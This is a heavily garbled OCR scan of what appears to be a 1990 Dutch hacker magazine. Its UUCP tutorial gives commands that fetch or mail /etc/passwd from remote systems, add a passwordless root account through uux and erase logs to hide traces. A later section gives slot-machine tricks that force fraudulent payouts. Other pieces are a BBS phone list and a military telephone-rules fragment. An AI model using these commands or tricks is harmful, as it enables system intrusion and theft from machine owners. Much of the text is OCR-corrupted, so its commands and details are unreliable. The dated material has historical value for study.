die kam Je Je account kosten. Een fil als mal verzenden ár je al vig : Dv. om het ile ‘peace’ 
naar bush te verzender 

mail Pentagonibush <paacs 
Met uwx kun je hiermee bv een passwd-file van cen ander systeem naar jezelf ister mailen, 

Ik kom hier later nog op terug. Om mail te lezen (ik je in : maÂ 1. Je krijgt dan een’? prompt, 
tik een vrnagteken In om alle opties te bekijken. Lees je de mail van iemand anders (foei), dan 
Is het medzanm or mail met '€’ te verlaten, het bericht wordt dan namelijk olet gewist 
(Hack-rogel ar.1 : geen data wissen of veranderen) 

  

  

      

  

uucp 
Ben van de eerste dingen die je naturlijk walt proberen als Je merkt dat Je op een netwerk 

zit (uwname, weet je wet ?), is alie fete/paasd files van andere systemen naar jezelf toehalen. 
Hoewel de passwords er alijd gecrypt instaan, kunnen ze toch waardevolle info bevatten 
(usemames, ete). Bovendien is het leuk om indruk te maken op Je vricadin of de BVD of zo. 
Helass zija (sommige) syateembeheerders ook niet gek : de fetcl diwectory Is dan afgeschermd. 
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Een oplossing daarvoor Is coma /etcfpasswd te kopieëren na 
het vux-commaado. De uwep syntax om een fie to verzenden ks 
uwep {optdes) <lokale filenaas> <cemote systemnaan> 

Voorbeeldje: stel je wilt een programa met de naam ‘trojan’ van jouw oysteem overzenden 
naar cen systeem met de naam ‘Pentagon’ in de directory 'usrlepooVooeppubliefouch': 
uucp trojan Pentagon! /usr/ spool /uaoppablÂo/bush 

De sucp syäntax om een fil te ontvangen is: 
unop [optles] <remote pad> <lokaal directory> 
Weer even een voorbeeldje, stel je wlt het passwd-file van het Pentagon ontvangen, en je zt 

op cen syateem met de naam Slpson : wucp Pemtagoal/cte/pasend StmipsonlAurc/hackerfiemp/ 
De opties bij het commando uucp zijn: 

  

bw. fuarfepooluucppublie met 

   

zc copieer het lokale sowrce-fle naar de spool dlrectory voordat er iets verzonden gaat 
worden. 

£ breekt de filetransfor af, als cen opgegeven directory wiet bestaat. staat deze optie wt, 
‘dan eretert vucp die dicoctory, nlet 20 snugger ais je mat een hack bezig bent. 

=$ aat het UUCPjob request nummer zen. Is soms handig ale jo uustet gebruikt om 
'UUCP Jobr in de quewe te rerouten & manlpaleren. 

a zenden bericht naar de gebruiker via mait afs de transfer klaar ls, niet org 
bevelen voor een creatieve data-traverker, wans ile inkomende mali wordt gelo 

  

    

  

ged. 
=neuser> geeft een schaije aan de waer op het remote syteem as de transfer geslaagd Is Als 

je niet inziet noo stam het Is om deze te gebruiken, verkoop dan je computer en 
wordt wasmachlncreperateur. 

=r___ ueue de opdracht, neem nog geen contact op met het remote systeem. 
za<file> redirect de UUCP status berichten naar een bestand. Handig als jo uitlogt, en Iater 

de resuttaten wilt bekijken 

uux 
Met ux kua je commando's en programma's op andere systemen uitvoeren, cen erg 

handige optie. Dit vinden de meeste systecmmanagers blijkbaar ook, want bijna ieder ysieem 
heeft dit commsando bepsckt (cat, \ ete Is meestal niet mogelijk). De toegestane commando's 
senan ín Jusr/lb/uvepleommands, op sommige systemen heet het bestand Permissions. 

Wrzij [de ystecmbeheerder heeft nl alleca 
die dingen afgesloten dle HIJ gevanrlijk vindt II bemt cen hacker, KLJ iet, JIJ 
‘bent sim, vasthoudend, ercaticf, HIJ koelt een aanle baan als sysmanager, ok einde peptalk, we 

gaan verder) Ok, stel |e zit op een idezal ystecaa, zo0t ls cen baviaan met maar cen hersenhelft 
en een nauwelijks meetbaar IQ, de wackeo-deamon heeft rootprivs, on alle commando's voor 
wucp staan open, je doet dan het volgende : 

ntagon 777 /eto/pasavd 
Ge maakt de passwd-file beschrijfbaar) 
wux echo toors 101011/1/bin/ah>> /eto/paaswd 
Ge voegt een extra gebruiker toor toe met root-privs, zonder password) Dit verhaal gaat 

bijna nooit op, omdat de meeste syzmanagers cen hoger IQ hebben dan 10 (soramigen komen 
tot 20.), dus moeten we wat anders proberen, bijvoorbeeld: 

uux PentagenimaÂ1 Binpson! hacker < /etc/pasrsd 
Hiermee stwur je het passudiile van Pentagon als mall naar de gebruiker becker op systeem 

Simpson (het is ia de praktijk aan te maden cen andere username le gebruiken). Als je uux 
gebruikt, zend UUCP je automatisch mail met de stand van zaken, dus het s een goed idee om 

de logfes to chocken om eventuele sporen die Je hebt achtergelaten te wissen. Mocht je ooit 
een bert ontvangen In de trant van : 
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From uuop Sat Deo 26 234 12115 EDT 1909 
>From uucp Sat Dec 24 23112113 EDT 1989 
renate from Pentagon 
Status: RO uuxgt ond (oat) status (DENIED) 
Dan betekent dat dat je aan uux de opdracht hebt gegeven om een äligaal commando vit te 

voeren op cen remote systeem (tik tak). 
De syntax van wax ie; 

uux [opte] commando 
wax opties zl 

=a __ <user> stuurt <user> een bericht als ux klaar is. 
=b stuurt error-messoges naar het standaard ouiput-decive 
-e Copieert de file(s) NIET naar de spool-dir, aanbevolen als er de kans bestaat det er men- 

gen In de spool-dir gaan gluren. 
-g<letter of nummer> Hiermee zet Je de prioriteit van de transfer vast. (Hoe lager het 

tummer of cijfer, hoo hoger de priodtelt) gls dus snetier dan -g7. 
=3___ Print het UUCP job-nummer. Alleen handig nis je gaat spelen met de 'job-gueue’. 
=D _No mail, stuurt je geen mail als er lets misgaat. Zet deze aan alsje geen pelva heb! om de 

mall-togs te verandoren. 
-p_ Gebruikt de standaard input op het remote systeem. 
-r___Zet do opdracht In de quouc, maar start nog wiet de wucleo-deamon op. 

<hostandenaam> Stuur de Lransfer-statusmessage naar bestand < bestandsnaam >. 
=x<0. „9> Hierraoo stel je het debug-evel in. BSD heeft nog twee extra opties : 
=I___ mankt een link van het originele file naar de spool-dlr 
=L___ startde voelcodeemon op 

    

   

    

  

uustat & uulog 
Uustat en uulog zijn twee programma's die UUCP-opdrachten (‘Jobs’) op kunnen sporen, 

‘controleren en loggen. Uwstat geeftin een regel per opdracht de atatur weer (klaar of nog bezig) 
Ats je cen vustat op vraagt krijg Je meestal iets als ditte zien : 
2001 grandma Cert 10/31-09145 10/31-10115 JOB IS QUEUED 
1002 grandma Cert 10/30-08115 10/30-11125 COPY FINISHED 

Waarbij in de cerste regel 1001 staat voor het Job-nunamer, grandma voor de user en Cerl 
voor het syteem den komen mog de atest-tjd, de siatus-ijd en de job-status 

uulog doet hetzelfde alk uustat, maar geeft nog moer info, het volgt o.a. de status van je jobs 
ala ze door het systeenn heen racen. 

Natuurlijk is dit nag lang niet alleswat UUCPbetre, maarde rest laat ik aam jo eigen fantasie 
‘encreativitelt over, anders iser geen tol meer aan, nietwaar. Bij twijfel, paniek en onwetendheid: 
even gluren in man (bijaa overal sanwerig). man <oammando/progranna> geeft je alle 
Waformatie over dat programma of commando. Ia cen volgend artikel zal ik (als & zin heb) wal 
uitleggen ovor andere handige UNIX features zoals telnet, ftp, tfip en rok. Voorlopig kun je 
echter al de hele wereld rond met UUCP, dus goede reis. 

Bart Simpson for president | 
The Dude 

Informaticbronnen: 
© Unie Programauers Manual 
© a Hacker's guide to UUCP by The Mentor (LOD) 
© Unix uro pad security from the ground up by The Prophet   
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Belgische BBSen 
De Gecontroleerde BESIIst van Belgie, gekdig: Oktater 1990. Maandelike gepubil: 

onerd, gebruik ehijd ALLEEN de allerlaatste uitgevel! Flenames: BESLIJST mnd A BIJLA- 
GE.mnd (bi), BBSLIJST.Ann (samen, geARG) Zie BESLIJST.DOC voor Informasie over 
het funotloneren van de BESst... Gebruik ALTIJD B3SLIJST.FRM om aanmeldingen en 
wefzigingen door te geven! Samenstaler: Arjen Lentz (Syeop AINEX-RBBS); Langegracht 
TB, Amersfoort COPYRIGHT (C) 1988-1990 «** Ovarnarne (MET bronvermekding) In 
ONGEWIJZIGDE vorm alten na toestemming van de aamenstoer. De sarnansteller 
aanvaardt geen enkele aanspr. vaor evt. opgetreden fouten. 

Legende: lajvat(aoo) _ (blvaa(t2oo) (olV2zbiaf200) (d[V29(t200776) 

   

   

  

     

  

lejvaa ltjvaatfots) _ [H]HST [PIPEP (nIMNP Ciasen 

BBSSEN: TELEFOON: SYSTEM OPERATOR: _NODE: 
Alblon 288 014-2265833 _ Jozef Schllderrmana 2021400 
Aquarius BBS 03-2367104 _TonyVandenBogaert 29543 
BES C.OBO 011-223763 _ Yvo Custers 29847 
BBS 0.CVA. 051-5888620 Luo Schoofs 29428 
BES Med-Mal HQ. _ 026607515 Jan Degree 285/100 
BAK BBS 080-3707385 Eddy Follat 206/32 
Cactus FilNet 091-304825 _ Marlin Weblou 2o6/st 
Cis BBS 03-3210376 _ Karel Peeters 296/45 
CoCo's BBS 011-858770 _ Willy Brepoe 2eehot 
DOK soft 05367239 _DannyDeKeuleneire 2906/54 
Ghelco BBE 091-510048 _ Glen Heuker 296/29 
HCC(B) Belgium 083-3538348 _ David Gevaerts biafnt 
HCC(B) IaM gg. 036587722 _ Staf Weyte bis/10 
HGC(B) Rupel Link 0987707089 _Patrlok Coeman Bis 
Harse Power 08-2385144 _ Rane Gustin 2aafer 
HSP. 011-581344 _ Guy Cerulla 205/29 
(stari Machelen 016-421835 _ „ullen van Huyck 2e1/t 
XK Brdus, 022603852 Frank Verstraeten 2e0/t 
Limburg Certraal, 011-33181 _ Fl Habex 20/41 

NILABBS 083-4819703 Ben Van Looy 2905/48 
Opus MAN, 083-3137480 _ Femand vid Schoor 205/4 
Opus Magnum 03-4559788 Jan Spooren 296/20 
RAT Databank 032388028 _ Patrick Freysaan zoe/35 
Remote Aocess Support 0651-241352 Beno De Gulroy ze/s8 

5 S-Team 03455155 _Loule Van Geel 20513 
aboH5 Starline System 027esa0es Paulo Fotsaert 2905/40 

TheCormoran BBS _ 015520270 Aex Cleynhens 292/500 
The watt 016449470 _Bruno Wolfe 282801 

5 Tripod BES 011-7628286 _ chan Zwlekhorst 2921100 

tet op de online-tijdenl -— ONLINE: Onderstaande BBSen zijn NIET 24 uur opent    Opus BELL-ECG (22-08) 03-4843980 Erik de Bohrijver 29/6 
Tandy Club (22:08) 0650-315278 Lucien Pyra 20/22 
Eorbldden City (22-08) 03-2345790 _ Kin-Shing Tohang 25/50 

. ThePloneer({408) _087-205273 Johan Vansevenant 20/25 
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Fruitautomaten Gehackt 

Fruitautomaten zijn, als je niet 
beter weet, de beste manler om Je 
geld kwijt te raken, Keurig gepro- 
grammeerd om een vastgesteld per- 

   bet niet zo simpel: er 
zijn slordigheidjes in het ontwerp 
van sommige kasten en dus zijn er 
nogal wat truukjes om het computer- 
%ocval’ een handje te helpen. 

Het is hier natuurlijk niet de be- 
doeling, om mensen verslaafd te ma- 
ken aan de gokkast, maar het is wel 
leuk om te weten wat je ermee kunt. 
Daarom volgt hier een wilde greep 
uit de trukendoos van “twee hoog, 
twee breed”, beter bekend als mijn 
broertje. 

VENTURA 
Bonwdaar: Juli ’89/sept '89 
Eigenlijk geen truuk maar con > 

fout, als je op de eerste col een “V" 
krijgt, en op de tweede rol con kers. 
Dan mag je op de derde rol zowel 
cen kers als cen “V" krijgen. Dit le- 
vert je 100 punten op. 

SUPER-MATRIX 
Bouwjaar: februar 8@/juni’88 
Als je bezig bent in de meloenen- 

matrix, en er wordt je gevraagd of je 

het punten aantal wilt verdubbelen, 
drukdanop de knop verdubbelen. Is 
dit goed (en verdubbelt je punten 
aantal), houdt dan de knop inge- 
drukt, je punten aantal zal dan stij- 
gen tot 200. 

VICTORY 
Bouwjaar: augustus ’89 
Stel dat je in de linker bovenhoek 

een victory” teken krijgt (groen), en 
je houdt dit vast, als dan rechts ervan 
op dezelfde hoogte ook zo’n teken 
valt, maar dan in het rood, wordt je 
kast gek. Alle “victory tekens zullen 
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dan voortaan groen in de matrix ver- 
schijnen. Je hebt dan geen kleurver- 
schillen meer, dit betekent dat je de 
matrixveelsneller vol hebt, on dusde 
punten eerder tot je verslaafde 
handjes ter beschikking staan, 

RANDOM RUNNER 
Bouwjaar: nov. 'S8/Januarl '89 
Werp ’n vijf-gulden munt of twee 

rijksdaalders in en gok tot je 16 pun- 
ten hebt. Druk vervolgens op start, 
en houdt deze ingedrukt. Zet au de 
kast uit, niet met de geisoleerde tang, 
maar met het speciaal voor ons ont- 
worpen schakelaartje (meestal ach- 
terop do kast) of met de stekker. 

Nadat het apparuat 10 soc. tang al 
zijn dynamische rammetjes heeft 
mogen legen, zet je hem weer aan. 
Let niet op de vreemde lampjes die 
gaan branden, want de kast raoct ge- 

woon even booten. Na 5 sec. kunt je 

je de gelukkige bezitter noemen van 
200 punten. 

RANDOM RUNNER 
Bouwjaar: oktober ’89 

Bij dezetruuk ishet belangrijk dat 
je nog tenminste 1 punt hebt. Je 

‘houdt herstel/innea ingedrukt, zet 
de kast uit en aan, wacht tot de kast 

niet meor gek knippert, en druk op 
start, Et voila 100 punten (drie ster- 
ten). 

En dan nu het klapstuk: 
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DISCOVERY 
Bouwjaar: fehf/apr '89 (2° verste) 
Net zolang gokken totdat je drie 

dezelfde krijgt. Nu mag je gokken (ic 
kent het wel, dat irriterende kop, 
vannt, kop, munt, ko... Gok rustig 
een tijdje, en als het weer tijd is om, 

de startknop in te drukken doe je het 
volgende: Houdt herste\innen inge- 
drukt, en druk op start. Er zullen nu 

3"V® vallen, op zich al heel leuk {20 
punten), maar we zijn er nog niet. 
houdt herste\innen aog steeds inge- 
drukt, en druk op uitbetalen. do kast 
zal vervolgens cen acute allergie 
gaan vertonen voor geld, en daa ook. 
elk muntstuk deponeren ín jouw por- 

tomonee. He,Ha!l!l Op cen gegeven 
ogenblik is de kast leeg en zal het 

lichtje “bijvullen” gaan branden. Nu 
wordt het oppassen. Heb je genoeg 
geld: Smeer 'em dan. Wil je nog iets 
meer, dan wordt het link, Je gaat 
naar de barman en vraagt hem of hj 
de machine bij wil vallen. Op zich 
niets mis mee, maar de ù 
kwestie is nog steeds allergisch voor 

geld, en zal dus al het geld…,„je raad 
het at, dit is een kwestie van sekon- 
den voor dat de barman doorheeft 

dat hier iets niet klopt. Oppassen 
dus. 

    

Dan resten nog een paar algeme- 
ne truukjes, werken lang niet bij elke 
kast. 

Het klaar laten kemen van cen 

gokkast, ook welt Het vingeren. On- 
der de rollen en de knoppen, zit het 
inmiddels famerso geldbakje. Het 
geld gaat door een kokertje de bak



in. Aan het einde van de buis zit een 
soort telmechanisme (meestal een 
dun stalen draadje). Wat gebeurt er 
nu wanpcer we met onze vingers 
even wat tegen het stalen draadje 
duwea? Juist, dan valt er geld uit de 
Kast. Nog even hebt verschil. 
tende buizen voor de kwartjes, de 

guldens, enz. „Het is dus zaak om de 
vifies pijp, of de kaaken pijpte trig- 
geren. 

Het vonken met een electrische 

aansteker. Dit werkt dusecht! Je kan 
het beste de metalen rand om het 
glaswerk waarachter de rollen zich 
bevinden, "bevonken". Mind you: de 

kast vindt dit niet leuk en kan soms 

  

kuren gaan vertonen, of erger nog, 
doodleuk het loodje leggen. Oppas- 
sen dus. 

Ter afsluiting nog even dit. Som- 
mige speelhallen staan uitbetaling 

alleen toe als er een personeelslid bij 
staat, dus check dit eerst even voor- 
dat je een kwartier lang naar cen 
stekker gaat lopen zoeken. Verder 
staan de randomrunners in Amster- 
‘dam al op wieletjes, dit maakt de 
stekker danwel de schakelaar nog 
makkelijker bereikbaar. 

Mocht je zelf leuke truukjes we- 
ten: schrijf ze naar Hack-Tict 

  

Audlo naar telefoon en vice-versa 

We krijgen nog wel eens vragen van mensen die een audio-signaat op de 
telefoonlijn willen zetten of die juist het geluid van de telefoon op hun stereo 
willen hebben. Als je bij deze onderneming echter niet goed op je tellen past 
ku je je stereoinstallatie of computer tamelijk spectaculair naar de eeuwige 
jachtvelden helpen. Zo zou het beter moeten gaan. 

Heb je verder nog verzoekjes voor schema's dan schrijf je ze maar… 

Billef 

Haakcontact 
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1.3 

1,4 

DIENSTGEHEIM 

VEILIGHEID 

OM VEILIGHEIDSREDENEN IS HET NIET TOEGESTAAN OVER 

HET MILITAIR DIENSTTELEFOONNET, HET ASCON EN HET 
OPENBARE TELEFOONNET INFORMATIE MET EEN HOGERE 
CLASSIFICATIE DAN DIENSTGEHEIM uiT TE WISSELEN, 

Minimize 

BETEKENIS: 

MINIMIZE BETEKENT HET BEPERKEN VAN TELEFOONVERKEER, 

GERICHT OP HET ONTLASTEN VAN OVERBELASTE TELEFOON- 

SYSTEMEN OF — SYSTEEMDELEN, IN GEVAL VAN BIJZONDERE 

OMSTANDIGHEDEN . 

CRITERIA: 

ALVORENS IN MINIMIZE-OMSTANDIGHEDEN EEN TELEFOONGESPREK 

TE VOEREN MOET HET VOORNEMEN AAN DE VOLGENDE CRITERIA 

WORDEN GETOETST : 

* ZAL DOOR HET NIET OF LATER VOEREN VAN HET TELEFOONGESPREK:” 
* A. IN VREDESTIJD EN IN BUITENGEWONE OMSTANDIGHEDEN : 

“__1 DE UITVOERING VAN DE MET DE HEERSENDE BIJZONDERE 
" SITUATIE VERBAND HOUDENDE OPERATIES DIRECT OF 
Kd INDIRECT NADELIG WORDEN BEINVLOED ? 

*__2 DE UITVOERING VAN HET NORMALE DIENSTVERLOOP OP 
" NIET ACCEPTABELE WIJZE NADELIG WORDEN BEINVLOED ? 

B. IN OORLOGST| 

*__DE UITVOERING VAN DE OPERATIES DOOR NATIONALE OF 
“____NAVO-EENHEDEN DIRECT OF INDIRECT ERNSTIG NADELIG 
*___ WORDEN BEINVLOED ? 

Pas ALS HIERBOVEN OMSCHREVEN TOETSING BEVESTIGEND 

WORDT BEANTWOORD, MAG TOT HET VOEREN VAN HET 

TELEFOONGESPREK WORDEN OVERGEGAAN.
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